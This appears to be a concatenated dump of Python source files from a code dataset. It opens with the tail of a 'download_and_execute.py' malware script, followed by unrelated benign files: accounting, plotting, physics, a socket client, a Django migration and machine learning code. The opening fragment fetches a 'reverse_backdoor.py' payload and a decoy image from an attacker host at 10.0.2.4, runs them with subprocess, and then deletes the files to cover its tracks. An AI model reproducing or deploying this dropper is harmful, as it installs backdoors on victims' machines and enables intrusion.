out_file:\n #wb for write binary\n out_file.write(get_response.content)\n\n\n\n\n\ntemp_directory = tempfile.gettempdir()\nos.chdir(temp_directory)\n\ndownload(\"http://10.0.2.4/evil-file/najin.jpg\")\nsubprocess.Popen(\"car.jpg\", shell = True)\ndownload(\"http://10.0.2.4/evil-file/reverse_backdoor.py\")\nsubprocess.Popen(\"car.jpg\", shell = True)\nos.remove(\"najin.jpg\")\nos.remove(\"reverse_backdoor.py\")\n\n\n\n\n\n\n","sub_path":"Malware/download_and_execute/download_and_execute.py","file_name":"download_and_execute.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"649587985","text":"\"\"\"\r\nThis is a program developed to make typing in some accessibility devices easier.\r\nThe program tries to predict the next letter the user wants to type according\r\nthe frequency (probability) of the next letter being used.\r\n\r\n\"\"\"\r\n\r\nimport sys\r\nimport re\r\nimport os\r\n\r\ndef read_file(file_name):\r\n \"\"\"\r\n It receives a letter and returns a list with all the words starting with\r\n that letter\r\n\r\n file_name -- character\r\n aList -- list of strings\r\n \"\"\"\r\n\r\n file_name += \".txt\"\r\n \r\n try:\r\n os.chdir(\"input\")\r\n f = open(file_name, 'r')\r\n except IOError as err:\r\n print(\"I/O error: {0}\".format(err))\r\n else:\r\n my_list = f.read().split(', ')\r\n f.close()\r\n return my_list\r\n\r\n","sub_path":"AAC Prediciton/readFile.py","file_name":"readFile.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"516995452","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 9 18:13:36 2019\n\n@author: ituran\n\"\"\"\nfrom mpl_toolkits import mplot3d\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# CREATE THE POINTS ON SPHERE \n\n# Inputs\ntheta_max = 40 # angle above horizontal (0-90 deg)\ntheta_min = 70 # angle below horizontal (0-90 deg, can be positive or negative)\nn = 500 # n = number of points on the sphere (full sphere, before cutting off range of vision)\n \ngolden_angle = np.pi * (3 - np.sqrt(5))\ntheta = golden_angle * np.arange(n) # create an array with n elements\nz = np.linspace(1 - 1.0 / n, 1.0 / n - 1, n) # array with linear spacing from 1-1/n to 1/n-1 with n elements \nradius = np.sqrt(1 - z * z)\n \n#selectTheta = np.array[(theta > theta.min) & (theta < theta.max)]\n\n# Create points = array of n elements with [0, 0, 0]\npoints = np.zeros((n, 3))\n\npoints[:,0] = radius * np.cos(theta)\npoints[:,1] = radius * np.sin(theta)\npoints[:,2] = z\n\n#select only points within range of vision\nangle_max = abs(theta_max)/90\nangle_min = -abs(theta_min)/90\nselectPts = np.delete(points, np.where(np.logical_or(points[:,2]>angle_max, points[:,2]<=angle_min)), axis=0)\n\n\n\n\n# Import the text file of points\ninput_file = r\"Y:\\ituran\\NYCdaylight\\ViewsTest\\1015131_4\\1015131_4.pts\"\n\n# Read the .pts text file and create ray with just x, y, z of points\npt_file = np.loadtxt(input_file, delimiter = \" \")\ngrid_points = np.delete(pt_file, np.s_[3:6], axis=1)\n\ngrid_test = np.dstack([grid_points]*3)\nprint(grid_points[0])\n\nprint('test')\nprint(grid_test[0])\n\n\n#==============================================================================\n# \n# \n# # Plot test\n# pts_x = selectPts[:,0]\n# pts_y = selectPts[:,1]\n# pts_z = selectPts[:,2]\n# \n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection='3d')\n# ax.scatter3D(pts_x, pts_y, pts_z)\n#==============================================================================\n\n\n\n","sub_path":"Scripts/ss/NYC_createRays.py","file_name":"NYC_createRays.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"226172755","text":"# coding: utf-8 \n# @Time : 2020/3/19 下午12:56\n# @Software: PyCharm\n# @File : 多线程实现socket_client.py\n\nimport socket\nimport threading\n\n'''\n多线程实现socket-client\n'''\n\nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nc.connect(('127.0.0.1', 8080))\n\n\nwhile True:\n msg = input('输入内容>>>').strip()\n if not msg: continue\n c.send(bytes(msg, encoding='utf-8'))\n data = c.recv(1024)\n print(data.decode())\n","sub_path":"python_basis/basis/多线程实现socket_client.py","file_name":"多线程实现socket_client.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"9626733","text":"#!/usr/bin/env python\n\nfrom dempwolf_tube_filter import filter_4 as filter_4_d\nfrom enhanced_tube_filter import filter_4 as filter_4_ek\nfrom leach_tube_filter import filter_4 as filter_4_l\nfrom munro_piazza_tube_filter import filter_4 as filter_4_mp\nfrom tube_filter import filter_4 as filter_4_k\n\nif __name__ == \"__main__\":\n import numpy as np\n size = 1200\n \n x = np.arange(size).reshape(1, -1) / 48000.\n d = np.sin(x * 2 * np.pi * 200) * 10\n d.tofile(\"input.dat\")\n\n import matplotlib.pyplot as plt\n plt.plot(x[0], d[0], label=\"input\")\n\n out = filter_4_ek(d)\n out.tofile(\"output4_ek.dat\")\n plt.plot(x[0], out[0], label=\"Enhanced Koren\")\n out = filter_4_k(d)\n out.tofile(\"output4_k.dat\")\n plt.plot(x[0], out[0], label=\"Koren\")\n out = filter_4_l(d)\n out.tofile(\"output4_l.dat\")\n plt.plot(x[0], out[0], label=\"Leach\")\n out = filter_4_mp(d)\n out.tofile(\"output4_mp.dat\")\n plt.plot(x[0], out[0], label=\"Munro-Piazza\")\n out = filter_4_d(d)\n out.tofile(\"output4_d.dat\")\n plt.plot(x[0], out[0], label=\"Dempwolf\")\n\n plt.legend(loc=4)\n plt.show()\n\n","sub_path":"Examples/preamplifier/compare_triode_filter.py","file_name":"compare_triode_filter.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"168977087","text":"import numpy as np\r\n\r\n\r\ndef burn(conn, ui, ref_frame, delta_velocity, delay=0, delta_velocity_offset=0, stopping_time=(0.5, 0.5, 0.5), change_ui_phases=False, phase_current='', phase_next='', next_action='N/A', main_engine=True, specified_thrust=False, specified_isp=False, facing=1):\r\n vessel = conn.space_center.active_vessel\r\n\r\n burn_start = conn.space_center.ut + delay\r\n\r\n ft = vessel.max_thrust\r\n if specified_thrust:\r\n ft = specified_thrust\r\n\r\n isp = vessel.specific_impulse\r\n if specified_thrust:\r\n isp = specified_isp\r\n\r\n if delta_velocity is not False:\r\n dv = np.linalg.norm(delta_velocity) + delta_velocity_offset\r\n dm = vessel.mass * (1 - 1 / np.exp(dv / 9.80665 / isp))\r\n dt = dm / (ft / (9.80665 * isp))\r\n\r\n udv = delta_velocity / np.linalg.norm(delta_velocity) * facing\r\n\r\n vessel.auto_pilot.engage()\r\n vessel.auto_pilot.reference_frame = ref_frame\r\n vessel.auto_pilot.stopping_time = stopping_time\r\n vessel.auto_pilot.target_direction = udv\r\n\r\n settle_time = conn.space_center.ut + 5\r\n\r\n while np.linalg.norm(vessel.angular_velocity(ref_frame)) > 0.01 or conn.space_center.ut < settle_time or burn_start > conn.space_center.ut:\r\n if delay != 0:\r\n ui.update_phase_current_time(abs(int(burn_start - conn.space_center.ut)))\r\n\r\n burn_start = conn.space_center.ut\r\n if main_engine:\r\n vessel.control.throttle = 1.00 * facing\r\n else:\r\n vessel.control.rcs = True\r\n vessel.control.forward = 1.00 * facing\r\n\r\n if change_ui_phases:\r\n ui.update_phase_current(phase_current)\r\n ui.update_phase_next(phase_next)\r\n ui.update_next_action(next_action)\r\n\r\n while burn_start + dt > conn.space_center.ut:\r\n ui.update_phase_current_time(abs(int(burn_start + dt - conn.space_center.ut)))\r\n\r\n if main_engine:\r\n vessel.control.throttle = 0.00\r\n else:\r\n vessel.control.rcs = False\r\n vessel.control.forward = 0.00\r\n\r\n vessel.auto_pilot.disengage()\r\n","sub_path":"utility/utilksp.py","file_name":"utilksp.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"269567149","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 29 09:23:55 2019\n\n@author: Yoshi\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nmu0 = 4e-7*np.pi\ne0 = 8.854e-12\nmi = 1.673e-27\nc = 3e8\nnpts = 100\nrat = np.sqrt(e0 / mi)\n\nB_min = 0e-9\nB_max = 300e-9\nB = np.linspace(B_min, B_max, npts)\n\npowers = list(range(1, 5))\n\nfor pwr in powers:\n sqrt_n = (rat * (10 ** pwr) * B) / 1e3\n n = (rat * (10 ** pwr) * B) ** 2 / 1e6\n plt.plot(B*1e9, n, label='$cv_A^{-1} = 10^%d$' % pwr)\n\nplt.xlim(B_min*1e9, B_max*1e9)\nplt.ylim(0, 500)\nplt.xlabel(r'$B_0 (nT)$')\nplt.ylabel(r'$n_0 ({cm^{-3}})$')\nplt.title('Plasma Regimes: \\'Arbitrary\\' ratio vs. Plasma Parameters')\nplt.legend()\n\nB_vals = np.array([158, 158, 134, 134])\nn_vals = np.array([38, 160, 38, 160])\nplt.scatter(B_vals, n_vals, label='Observations', marker='x')\nplt.legend()","sub_path":"simulation_codes/_archived/PREDCORR_1D_TSC/diagnostic_scripts/ratios_and_observations.py","file_name":"ratios_and_observations.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"137565565","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classes', '0001_initial'),\n ('books', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Session',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date', models.DateField(verbose_name=b'session date')),\n ('topic', models.CharField(max_length=200)),\n ('exam', models.BooleanField(default=False)),\n ('book', models.ForeignKey(to='books.Book')),\n ],\n ),\n migrations.CreateModel(\n name='Syllabus',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('after', models.BooleanField(default=False)),\n ('classSyllabus', models.ForeignKey(to='classes.Class')),\n ],\n ),\n migrations.AddField(\n model_name='session',\n name='syllabus',\n field=models.ForeignKey(to='syllabus.Syllabus'),\n ),\n ]\n","sub_path":"ap/syllabus/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"52758498","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# NCTR, Nile Center for Technology Research\n# Copyright (C) 2011-2012 NCTR ().\n#\n##############################################################################\n\nfrom openerp.osv import fields, osv, orm\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\nfrom openerp import netsvc\n\n \n# ---------------------------------------------------------\n# Budget Confirmation\n# ---------------------------------------------------------\nclass account_budget_confirmation(osv.Model):\n \"\"\" Object of reserve some amount from the budget \"\"\"\n\n _name = \"account.budget.confirmation\" \n _inherit = ['mail.thread']\n _order = 'id desc'\n _track = {\n 'state': {\n 'account_budget_confirmation.mt_budget_state_change': lambda self, cr, uid, obj, ctx=None: True,\n },\n}\n \n def _check_company(self, cr, uid, ids, context={}):\n \"\"\" \n This method to check that all the confirmation attributes belong to same company \n @return: boolean True if all belong to same company, or False \n \"\"\"\n ids = not isinstance(ids,list) and [ids] or ids\n for budget_confirm in self.browse(cr, uid, ids, context=context):\n companies = []\n companies += budget_confirm.general_account_id and [budget_confirm.general_account_id.company_id] or []\n companies += budget_confirm.analytic_account_id and [budget_confirm.analytic_account_id.company_id] or []\n companies += budget_confirm.period_id and [budget_confirm.period_id.company_id] or []\n if len(set(companies)) > 1:\n return False\n return True\n\n def _residual_amount(self, cr, uid, ids, field_name, arg=None, context={}):\n \"\"\"\n This method calculate the confirmed amount which doesn't turn to actual expense yet\n \n @param char field_name: functional field name,\n @param list arg: additional arguments,\n @return: dictionary residual amount for each record \n \"\"\"\n result = {}\n for budget_confirm in self.browse(cr, uid, ids, context=context):\n lines = 0.0\n account = budget_confirm.general_account_id\n analytic = budget_confirm.analytic_account_id\n for line in budget_confirm.line_id:\n lines += account == line.account_id and analytic == line.analytic_account_id and \\\n line.debit - line.credit or 0.0\n result[budget_confirm.id] = budget_confirm.amount - lines\n return result\n\n _columns = {\n 'name': fields.char('Name', size=64, readonly=True),\n \n 'reference': fields.char('Reference', size=64, readonly=True),\n \n 'period_id': fields.many2one('account.period', 'Period', required=True, \n readonly=True, states={'draft':[('readonly',False)]}),\n \n 'general_account_id': fields.many2one('account.account', 'Account', readonly=True, \n states={'draft':[('readonly',False)]}),\n \n 'analytic_account_id': fields.many2one('account.analytic.account', 'Analytic Account', \n readonly=True, states={'draft':[('readonly',False)]}, \n domain=[('type','!=','view')]),\n \n 'partner_id': fields.many2one('res.partner', 'Partner', readonly=True, \n states={'draft':[('readonly',False)]}),\n \n 'residual_amount': fields.function(_residual_amount, digits_compute=dp.get_precision('Account'), \n method=True, string='Residual Balance'),\n \n 'amount':fields.float('Amount', required=True, digits_compute=dp.get_precision('Account'), \n readonly=True, states={'draft':[('readonly',False)]}),\n \n 'state' : fields.selection([('draft','Draft'),('complete','Waiting For Approve'),\n ('check','Waiting Check'),('valid','Approved'),\n ('unvalid','Not Approved'),('cancel', 'Cancelled')], \n 'Status', required=True, readonly=True),\n \n 'type' : fields.selection([('stock_in','Stock IN'),('stock_out','Stock OUT'),\n ('purchase','Purchase'),('other','Others')], 'Type'),\n \n 'date':fields.date('Date', readonly=True, states={'draft':[('readonly',False)]}),\n \n 'creating_user_id': fields.many2one('res.users', 'Responsible User'),\n \n 'validating_user_id': fields.many2one('res.users', 'Validate User', readonly=True),\n \n 'line_id': fields.one2many('account.move.line', 'budget_confirm_id', 'Entries'),\n \n 'note':fields.text('Note', required=True),\n \n 'company_id': fields.related('period_id', 'company_id', type='many2one', relation='res.company', \n string='Company', readonly=True),\n \n 'budget_residual':fields.float('Budget Residual', required=True, readonly=True, \n digits_compute=dp.get_precision('Account')),\n \n 'budget_line_id': fields.many2one('account.budget.lines', 'Budget Line'),\n }\n\n _defaults = {\n 'reference': '/',\n 'name': '/',\n 'type':'other',\n 'state': 'draft',\n 'budget_residual': 0.0,\n 'creating_user_id': lambda self, cr, uid, context: uid,\n }\n \n def copy(self, cr, uid, ids, default={}, context={}):\n \"\"\"\n Inherit copy method reset name, line_id and reference when copying confirmation record\n \n @param default: dictionary of the values of record to be created,\n @return: super method of copy \n \"\"\"\n default.update({'name': '/', 'line_id': False, 'reference': '/'})\n return super(account_budget_confirmation, self).copy(cr, uid, ids, default=default, context=context)\n\n def create(self, cr, uid, vals, context={}):\n \"\"\"\n Inherit create method set name from sequence if exist\n and to prohibit the user from entering account, period and cost center of different company\n \n @param default: dictionary of the values of record to be created,\n @return: super method of copy \n \"\"\"\n vals.update({'name': vals.get('name','/') == '/' and \n self.pool.get('ir.sequence').get(cr, uid, 'account.budget.confirmation') or \n vals.get('name')})\n res = super(account_budget_confirmation, self).create(cr, uid, vals, context=context)\n if not self._check_company(cr, uid, res, context=context):\n raise orm.except_orm(_('Warning!'), _('Account, Period and Cost Center must be belong to same Company!'))\n return res\n \n\n def write(self, cr, uid, ids, vals, context={}):\n \"\"\"\n The Approved confirmations must be added to confirmation_ids of the effected budget line\n @return: Update confirmation record \n \"\"\"\n budget_line_pool = self.pool.get('account.budget.lines')\n ids = not isinstance(ids,list) and [ids] or ids\n for confirmation in self.browse(cr, uid, ids, context=context):\n budget_line_vals = {}\n line_ids = budget_line_pool.search(cr, uid,[('analytic_account_id','=', confirmation.analytic_account_id.id),\n ('general_account_id','=',confirmation.general_account_id.id),\n ('period_id','=', confirmation.period_id.id)], context=context)\n '''if vals.get('state','') in ['valid']:\n budget_line_vals = {'confirmation_ids':[(1,int(confirmation.id),{'budget_line_id':line_ids and line_ids[0]})]}\n \n elif confirmation.budget_line_id:\n budget_line_vals = {'confirmation_ids':[(3,int(confirmation.id))]}\n budget_line_pool.write(cr, uid, line_ids and line_ids[0] or [], budget_line_vals, context=context)'''\n line_obj = budget_line_pool.browse(cr, uid, line_ids, context=context)\n vals.update({'budget_residual': line_obj and line_obj[0].residual_balance or 0.0})\n res = super(account_budget_confirmation, self).write(cr, uid, ids, vals, context=context)\n if not self._check_company(cr, uid, ids, context=context):\n raise orm.except_orm(_('Warning!'), _('Account, Period and Cost Center must be belong to same Company!'))\n return res\n\n def action_cancel_draft(self, cr, uid, ids,context={}):\n \"\"\"\n Workflow function change record state to 'draft', \n delete old workflow instance and create new one \n @return: boolean True \n \"\"\"\n if not isinstance(ids,list): \n ids = [ids]\n self.write(cr, uid, ids, {'state': 'draft'}, context=context)\n wf_service = netsvc.LocalService(\"workflow\")\n for id in ids:\n wf_service.trg_delete(uid, 'account.budget.confirmation', id, cr)\n wf_service.trg_create(uid, 'account.budget.confirmation', id, cr)\n return True\n\n def check_budget(self, cr, uid, ids, context={}):\n \"\"\"\n This method check whether the budget line residual allow to validate this confirmation or not\n @return: boolean True if budget line residual more that confirm amount, or False\n \"\"\"\n line_obj = self.pool.get('account.budget.lines')\n for confirmation in self.browse(cr, uid, ids, context=context):\n budget_line = line_obj.search(cr, uid,[('analytic_account_id','=', confirmation.analytic_account_id.id),\n ('period_id','=', confirmation.period_id.id),\n ('general_account_id','=',confirmation.general_account_id.id)], context=context)\n if budget_line:\n if confirmation.residual_amount > line_obj.browse(cr, uid, budget_line, context=context)[0].residual_balance:\n return False\n elif confirmation.analytic_account_id.budget:\n raise orm.except_orm(_('Warning!'), _('This account has no budget!'))\n return True\n \n def budget_complete(self, cr, uid, ids, context={}):\n \"\"\"\n Workflow function change record state to 'complete'\n @return: boolean True \n \"\"\"\n self.write(cr, uid, ids, {'state': 'complete'}, context=context)\n return True\n\n def budget_valid(self, cr, uid, ids, context={}):\n \"\"\"\n Workflow function change record state to 'valid'\n @return: boolean True \n \"\"\"\n self.write(cr, uid, ids, {'state': 'valid','validating_user_id': uid}, context=context)\n wf_service = netsvc.LocalService(\"workflow\")\n for id in ids:\n wf_service.trg_trigger(uid, 'account.budget.confirmation', id, cr)\n return True\n\n def budget_unvalid(self, cr, uid, ids, context={}):\n \"\"\"\n Workflow function change record state to 'unvalid'\n @return: boolean True \n \"\"\"\n self.write(cr, uid, ids, {'state': 'unvalid'},context=context)\n return True\n\n def budget_cancel(self, cr, uid, ids, context={}):\n \"\"\"\n Workflow function change record state to 'cancel'\n @return: boolean True \n \"\"\"\n self.write(cr, uid, ids, {'state': 'cancel'}, context=context)\n wf_service = netsvc.LocalService(\"workflow\")\n for id in ids:\n if self.browse(cr, uid, id, context=context).line_id:\n raise orm.except_orm(_('Error!'), _('This confirmation already have posted moves'))\n wf_service.trg_trigger(uid, 'account.budget.confirmation', id, cr)\n return True\n\naccount_budget_confirmation()\n\n# ---------------------------------------------------------\n# Account Budget Lines\n# ---------------------------------------------------------\nclass account_budget_lines(osv.Model):\n \"\"\"Inherit the budget line object to add fields of confirmation reflect it's \n amount on residual balance\"\"\"\n \n _inherit = \"account.budget.lines\"\n\n def _confirmed_amount(self, cr, uid, ids, field_name, arg=None, context={}):\n \"\"\"\n This Method use to compute the confirm_amount from confirmation_ids\n \n @param char field_name: functional field name,\n @param list arg: additional arguments,\n @return: dictionary {record_id: confirmation amount}\n \"\"\"\n result = {}\n budget_confirm_obj = self.pool.get('account.budget.confirmation')\n for line in self.browse(cr, uid, ids, context=context):\n budget_line_vals = {}\n line_ids = budget_confirm_obj.search(cr, uid,[\n ('analytic_account_id','=', line.analytic_account_id.id),\n ('general_account_id','=',line.general_account_id.id),\n ('period_id','=', line.period_id.id),('state','=','valid')], context=context)\n result[line.id] = sum([l.residual_amount for l in budget_confirm_obj.browse(cr, uid, line_ids,context)])\n if not context.get('update_buget',False) and line.planned_amount + line.total_operation - line.balance - result[line.id] <0:\n raise orm.except_orm(_('Error!'), _(\"Budget can't go overdrow!\")) \n return result\n\n \n def _residual_balance(self, cr, uid, ids, field_name, arg=None, context={}):\n \"\"\"\n Recalcute Budget Lines residual_amount by substract confirm amount \n \n @param char field_name: functional field name,\n @param list arg: additional arguments,\n @return: dictionary {record_id: residual amount}\n \"\"\"\n cr.execute('SELECT id,planned_amount+total_operation-balance-confirm FROM account_budget_lines WHERE id IN (%s)'% (','.join(map(str,ids)),))\n return dict([(l[0],{'residual_balance':l[1] }) for l in cr.fetchall()])\n \n def fnct_residual_search(self, cr, uid, obj, name, domain=None, context=None):\n \"\"\"\n Method to allow user to advanced search functional residual_balance by recalculate the \n field amount and search based on entered criteria. \n \n @param obj: object,\n @param name: char field name,\n @param domain: tuple of the entered search criteria,\n @return: list of tuple of the domain by record IDS\n \"\"\"\n if context is None:\n context = {}\n if not domain:\n return []\n field, operator, value = domain[0]\n cr.execute('SELECT id FROM account_budget_lines \\\n WHERE planned_amount+total_operation-balance-confirm '+operator+str(value))\n res = cr.fetchall()\n return [('id', 'in', [r[0] for r in res])]\n\n def _get_confirm_ids(self, cr, uid, ids, context={}):\n \"\"\"\n get records of budget line to be updated\n @param ids: ids in account asset history\n return dictionary Keys\n \"\"\" \n result = []\n for line in self.pool.get('account.budget.confirmation').browse(cr, uid, ids, context=context):\n result = result + self.pool.get('account.budget.lines').search(cr, uid, [\n ('general_account_id','=',line.general_account_id.id),\n ('analytic_account_id', '=', line.analytic_account_id.id),\n ('period_id', '=', line.period_id.id)],\n context=context)\n return result \n\n _columns = {\n 'confirm': fields.function(_confirmed_amount, type='float', digits_compute=dp.get_precision('Account'), \n string='Exchange Amount',\n store={\n 'account.budget.lines': (lambda self, cr, uid, ids, c={}: ids, \n ['code','general_account_id', 'analytic_account_id','period_id'], 10),\n 'account.budget.confirmation': (_get_confirm_ids, ['state','line_id'], 20),\n } ),\n\n 'residual_balance': fields.function(_residual_balance, fnct_search=fnct_residual_search, method=True, multi='residual', \n digits_compute=dp.get_precision('Account'), string='Residual Balance'),\n \n 'confirmation_ids': fields.one2many('account.budget.confirmation', 'budget_line_id', 'Confirmations'),\n }\n\n _sql_constraints = [('residual_check_confirm', 'CHECK ((planned_amount+total_operation-balance-confirm)>=0)', _(\"Planned Budget cann't go overdrow!\"))]\n \n\n '''def _check_balance(self, cr, uid, ids, context={}):\n \"\"\"\n Check budget in less than zero\n @return: boolean True or False \n \"\"\"\n for obj in self.browse(cr, uid, ids, context=context):\n print '........................', context\n if obj.balance < 0 and not context.get('update_buget',False):\n return True\n return True \n _constraints = [\n (_check_balance, \"lanned Budget cann't go overdrow!\", ['balance']), \n ]'''\naccount_budget_lines()\n\n# ---------------------------------------------------------\n# Account Move Line\n# ---------------------------------------------------------\nclass account_move_line(osv.Model):\n \"\"\"Inherit account move line object to add budject confirmation field and\n to check the constrains on the created move line with the confirmation line\"\"\"\n\n _inherit = 'account.move.line'\n\n _columns = {\n 'budget_confirm_id': fields.many2one('account.budget.confirmation', 'Confirmation'),\n }\n\n \n def create(self, cr, uid, vals, context={}, check=True):\n \"\"\"\n When creating move line with confirmation_id, some constraints has to be check\n 1. Confirmation state must be 'approve'.\n 2. Move line (account and analytic account) same as (account and analytic account) in confirmation record.\n 3. Move Line amount not greater than Confirmed amount.\n 4. Move Line and Confirmation in same period. \n \"\"\"\n budget_line_pool = self.pool.get('account.budget.lines')\n confirmation_pool = self.pool.get('account.budget.confirmation')\n analytic_pool = self.pool.get('account.analytic.account')\n analytic_budget = vals.get('analytic_account_id', False) and \\\n analytic_pool.read(cr, uid, [vals['analytic_account_id']],['budget'],context=context)[0]['budget'] or False\n confirmation_id = vals.get('budget_confirm_id', False)\n if not context.get('reverse_move',False) and confirmation_id and vals.get('analytic_account_id', False) :\n confirmation_vals = confirmation_pool.read(cr, uid, [confirmation_id], \n ['residual_amount', 'period_id', 'type','analytic_account_id',\n 'company_id','general_account_id', 'state'],context=context)[0]\n\n # Check Confirmation state\n if confirmation_vals['state'] != 'valid':\n raise orm.except_orm(_('Error!'), _('The budget confirmation is not approved'))\n \n\n # Check if the confirmation (account and analytic account) is not like the move to be create\n analytic_move = vals.get('analytic_account_id', False) \n analytic_confirm = confirmation_vals['analytic_account_id'][0]\n account_move = vals.get('account_id', False)\n account_confirm = confirmation_vals['general_account_id'][0]\n msg = account_move != account_confirm and 'account /' or ''\n msg += analytic_move != analytic_confirm and ' analytic' or ''\n if msg:\n raise orm.except_orm(_('Warning!'), _('The %s of the move is not like the confirmation!')%(msg,))\n\n\n # Check if confirmation amount is less than move amount\n transfer = vals.get('debit', 0) - vals.get('credit', 0)\n if round(confirmation_vals['residual_amount'], 2) < round(transfer, 2) and confirmation_vals['type'] not in ('stock_in', 'stock_out'):\n raise orm.except_orm(_('Error!'), _('The confirmed amount is less than actual!\\n %s - %s')%( round(confirmation_vals['residual_amount'], 2),round(transfer, 2) ))\n\n\n # Check if confirmation period and move period are same\n period_move = vals.get('period_id', False) \n period_confirm = confirmation_vals['period_id'][0]\n confirmation_pool.write(cr, uid, confirmation_id, {'state': 'cancel'}, context=context)\n if period_confirm != period_move and round(transfer, 2) > 0:\n #raise orm.except_orm(_('Warning!'), _('The confirmation period and the move are different!'))\n # NEED TO REVIEW\n # Transfer the confirmed amount from the confirmed period to the move period\n \n from_budget_id = budget_line_pool.search(cr, uid,[('period_id', '=', period_confirm),\n ('analytic_account_id', '=', analytic_confirm),\n ('general_account_id', '=', account_confirm)], \n context=context)\n if from_budget_id:\n to = {\n 'company': confirmation_vals['company_id'][0], \n 'analytic_account': analytic_move,\n 'account_id': account_move,\n 'period_id': period_move\n }\n #TEST: test transfer\n values = {\n 'type':'transfer','to':to,\n 'line_ids':[{'line_id':budget_line_pool.browse(cr, uid, from_budget_id, context)[0],\n 'amount':transfer}]\n }\n budget_line_pool.transfer(cr, uid, values, context=context)\n if context.get('reverse_move', False) and vals['budget_confirm_id']:\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_validate(uid, 'account.budget.confirmation', vals['budget_confirm_id'], 'cancel', cr) \n vals.update({'budget_confirm_id':False}) \n\n result = super(account_move_line, self).create(cr, uid, vals, context=context, check=check)\n if confirmation_id:\n confirmation_pool.write(cr, uid, confirmation_id, {'state': 'valid'}, context=context)\n return result\n\naccount_move_line()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"v_7/NISS/common_shamil_v3/account_budget_confirmation/account_budget.py","file_name":"account_budget.py","file_ext":"py","file_size_in_byte":23461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"304487236","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport pandas as pd\n\nvec_x = torch.tensor(np.loadtxt('files/q7_train_x.txt'))\nvec_y = torch.from_numpy(np.loadtxt('files/q7_train_y.txt')).long()\ntest_vec_x = torch.tensor(np.loadtxt('files/q7_test_x.txt'))\ntest_vec_y = pd.DataFrame(np.loadtxt('files/q7_test_y.txt'))\n\nw = torch.randn(vec_x.shape[1], 4).double().requires_grad_(True)\nlearning_rate = 0.1\nloss = nn.CrossEntropyLoss()\n\nfor _ in range(1000):\n y_pred = torch.matmul(vec_x, w)\n L = loss(y_pred, vec_y)\n L.backward()\n with torch.no_grad():\n w -= learning_rate * w.grad\n w.grad.zero_()\n\n# q74\n# mm ≒ matmul\n# https://qiita.com/tand826/items/9e1b6a4de785097fe6a5\ntest_y_pred = F.softmax(torch.mm(test_vec_x, w), dim=1)\npred_labels = pd.DataFrame(test_y_pred).astype('float').apply(lambda x: x.idxmax(), axis=1)\ne = pd.concat([pred_labels, test_vec_y], axis=1)\nprint(len(e[e.iloc[:, 0] == e.iloc[:, 1]]) / len(test_vec_y))\n","sub_path":"chapter8_neural_networks/another/q73_q74.py","file_name":"q73_q74.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"154789198","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Nov 11, 2017\n\n@author: yunhalee\nDescription - extract model output tracers, and run a machine learning \n\n\"\"\"\n#%%\n# import necessary modules\nimport numpy as np\nfrom netCDF4 import Dataset\nimport datetime\nimport pickle\nfrom datetime import timedelta\nimport pytz\nimport copy\n \n# =============================================================================\n# Functions the main script uses\n# =============================================================================\ndef naive_fast(latvar,lonvar,lat0,lon0):\n # Read latitude and longitude from file into numpy arrays\n latvals = latvar[:]\n lonvals = lonvar[:]\n ny,nx = latvals.shape\n dist_sq = (latvals-lat0)**2 + (lonvals-lon0)**2\n minindex_flattened = dist_sq.argmin() # 1D index of min element\n iy_min,ix_min = np.unravel_index(minindex_flattened, latvals.shape)\n return int(iy_min),int(ix_min)\n \n\ndef readmodelmet(infile):\n metlist = ['PRSFC','PBL','HFX','QFX','TEMP2','WSPD10','WDIR10','RGRND', 'CFRAC']\n modelmet = {}\n for k in metlist:\n modelmet[k] = infile.variables[k][:-1,0,:,:] # 0 is for vertical layer & :-1 is to omit last value\n return modelmet\n\ndef readmodelgas(infile):\n gaslist = ['PMIJ','NO2','SO2','O3','ISOP','CO','FORM']\n modelgas = {}\n for k in gaslist:\n modelgas[k] = infile.variables[k][:,0,:,:]\n return modelgas\n\ndef readmodelaerosol(infile):\n aerlist = ['ASO4','ANO3','ANH4', 'AEC', 'APOC']\n sizemode =['IJ'] # K is excluded for now. Adding K, this will be PM10 - 